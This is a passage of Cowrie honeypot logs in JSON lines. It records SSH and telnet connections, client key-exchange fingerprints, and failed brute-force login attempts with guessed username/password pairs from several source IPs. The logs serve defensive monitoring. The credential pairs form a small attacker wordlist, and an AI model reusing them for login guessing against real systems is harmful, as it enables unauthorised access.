20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:52:17.644500Z","src_ip":"38.242.143.220","session":"5c2448cb3f70","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"breadwallet2024","message":"login attempt [root/breadwallet2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:52:18.008426Z","src_ip":"38.242.143.220","session":"5c2448cb3f70","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"www","password":"123456","message":"login attempt [www/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:52:18.012074Z","src_ip":"160.187.174.22","session":"fd958cdf1e7f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:52:19.125119Z","src_ip":"38.242.143.220","session":"5c2448cb3f70","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:52:19.254205Z","src_ip":"160.187.174.22","session":"fd958cdf1e7f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":46566,"dst_ip":"159.203.135.109","dst_port":23,"session":"9840a06da5d8","protocol":"telnet","message":"New connection: 170.64.224.25:46566 (159.203.135.109:23) [session: 9840a06da5d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:52:29.387379Z"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":46570,"dst_ip":"159.203.135.109","dst_port":23,"session":"6d9f6f140ab8","protocol":"telnet","message":"New connection: 170.64.224.25:46570 (159.203.135.109:23) [session: 6d9f6f140ab8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:52:29.727999Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":34244,"dst_ip":"159.203.135.109","dst_port":22,"session":"45d85cb3c2d7","protocol":"ssh","message":"New connection: 160.187.174.22:34244 (159.203.135.109:22) [session: 45d85cb3c2d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:52:45.138431Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:52:45.141699Z","src_ip":"160.187.174.22","session":"45d85cb3c2d7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:52:45.389957Z","src_ip":"160.187.174.22","session":"45d85cb3c2d7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sonar","password":"sonar","message":"login attempt [sonar/sonar] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:52:46.123033Z","src_ip":"160.187.174.22","session":"45d85cb3c2d7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:52:47.366245Z","src_ip":"160.187.174.22","session":"45d85cb3c2d7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.47875952720642,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:53:08.206660Z","src_ip":"170.64.224.25","session":"6d9f6f140ab8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":46164,"dst_ip":"159.203.135.109","dst_port":22,"session":"642b347617a1","protocol":"ssh","message":"New connection: 160.187.174.22:46164 (159.203.135.109:22) [session: 642b347617a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:53:13.121069Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:53:13.125226Z","src_ip":"160.187.174.22","session":"642b347617a1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:53:13.368612Z","src_ip":"160.187.174.22","session":"642b347617a1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elasticsearch","password":"elasticsearch","message":"login attempt [elasticsearch/elasticsearch] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:53:14.091393Z","src_ip":"160.187.174.22","session":"642b347617a1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:53:15.329503Z","src_ip":"160.187.174.22","session":"642b347617a1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":51588,"dst_ip":"10.17.0.5","dst_port":22,"session":"ed3114ae0398","protocol":"ssh","message":"New connection: 91.92.40.4:51588 (10.17.0.5:22) [session: ed3114ae0398]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:53:17.275795Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:53:17.296557Z","src_ip":"91.92.40.4","session":"ed3114ae0398","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:53:17.442222Z","src_ip":"91.92.40.4","session":"ed3114ae0398","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"654321","message":"login attempt [user/654321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:53:17.704097Z","src_ip":"91.92.40.4","session":"ed3114ae0398","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:53:18.835474Z","src_ip":"91.92.40.4","session":"ed3114ae0398","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":62.181395530700684,"message":"Connection lost after 62 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:53:31.568666Z","src_ip":"170.64.224.25","session":"9840a06da5d8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.169.180.166","src_port":53072,"dst_ip":"159.203.135.109","dst_port":22,"session":"032a9640c2e9","protocol":"ssh","message":"New connection: 192.169.180.166:53072 (159.203.135.109:22) [session: 032a9640c2e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:53:38.691492Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:53:38.694740Z","src_ip":"192.169.180.166","session":"032a9640c2e9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:53:38.758730Z","src_ip":"192.169.180.166","session":"032a9640c2e9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"NFT#M@st3r$P@ss","message":"login attempt [root/NFT#M@st3r$P@ss] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:53:38.956095Z","src_ip":"192.169.180.166","session":"032a9640c2e9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:53:40.023406Z","src_ip":"192.169.180.166","session":"032a9640c2e9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":51576,"dst_ip":"159.203.135.109","dst_port":23,"session":"f13b4cfd9433","protocol":"telnet","message":"New connection: 170.64.224.25:51576 (159.203.135.109:23) [session: f13b4cfd9433]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:53:41.130809Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":56476,"dst_ip":"159.203.135.109","dst_port":22,"session":"6abdd51f9cd3","protocol":"ssh","message":"New connection: 160.187.174.22:56476 (159.203.135.109:22) [session: 6abdd51f9cd3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:53:42.289312Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:53:42.366991Z","src_ip":"160.187.174.22","session":"6abdd51f9cd3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:53:42.540767Z","src_ip":"160.187.174.22","session":"6abdd51f9cd3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"docker","password":"docker123","message":"login attempt [docker/docker123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:53:43.542673Z","src_ip":"160.187.174.22","session":"6abdd51f9cd3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:53:44.797583Z","src_ip":"160.187.174.22","session":"6abdd51f9cd3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":47968,"dst_ip":"159.203.135.109","dst_port":23,"session":"9dde5735e024","protocol":"telnet","message":"New connection: 107.6.151.170:47968 (159.203.135.109:23) [session: 9dde5735e024]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:53:45.101317Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.12.251.137","src_port":34412,"dst_ip":"10.17.0.5","dst_port":22,"session":"dbea6df666cf","protocol":"ssh","message":"New connection: 198.12.251.137:34412 (10.17.0.5:22) [session: dbea6df666cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:54:08.766854Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:54:08.770683Z","src_ip":"198.12.251.137","session":"dbea6df666cf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:54:08.837066Z","src_ip":"198.12.251.137","session":"dbea6df666cf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kraken2024","message":"login attempt [root/kraken2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:54:09.040545Z","src_ip":"198.12.251.137","session":"dbea6df666cf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:54:10.109812Z","src_ip":"198.12.251.137","session":"dbea6df666cf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":35138,"dst_ip":"159.203.135.109","dst_port":22,"session":"ca3038cf82e4","protocol":"ssh","message":"New connection: 160.187.174.22:35138 (159.203.135.109:22) [session: ca3038cf82e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:54:11.478750Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:54:11.483344Z","src_ip":"160.187.174.22","session":"ca3038cf82e4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:54:11.727725Z","src_ip":"160.187.174.22","session":"ca3038cf82e4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123","message":"login attempt [root/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:54:12.708408Z","src_ip":"160.187.174.22","session":"ca3038cf82e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:54:13.957146Z","src_ip":"160.187.174.22","session":"ca3038cf82e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.66963768005371,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:54:16.770837Z","src_ip":"107.6.151.170","session":"9dde5735e024","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":44854,"dst_ip":"159.203.135.109","dst_port":22,"session":"d96227a4a466","protocol":"ssh","message":"New connection: 160.187.174.22:44854 (159.203.135.109:22) [session: d96227a4a466]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:54:40.671944Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:54:40.676383Z","src_ip":"160.187.174.22","session":"d96227a4a466","protocol":"ssh"}
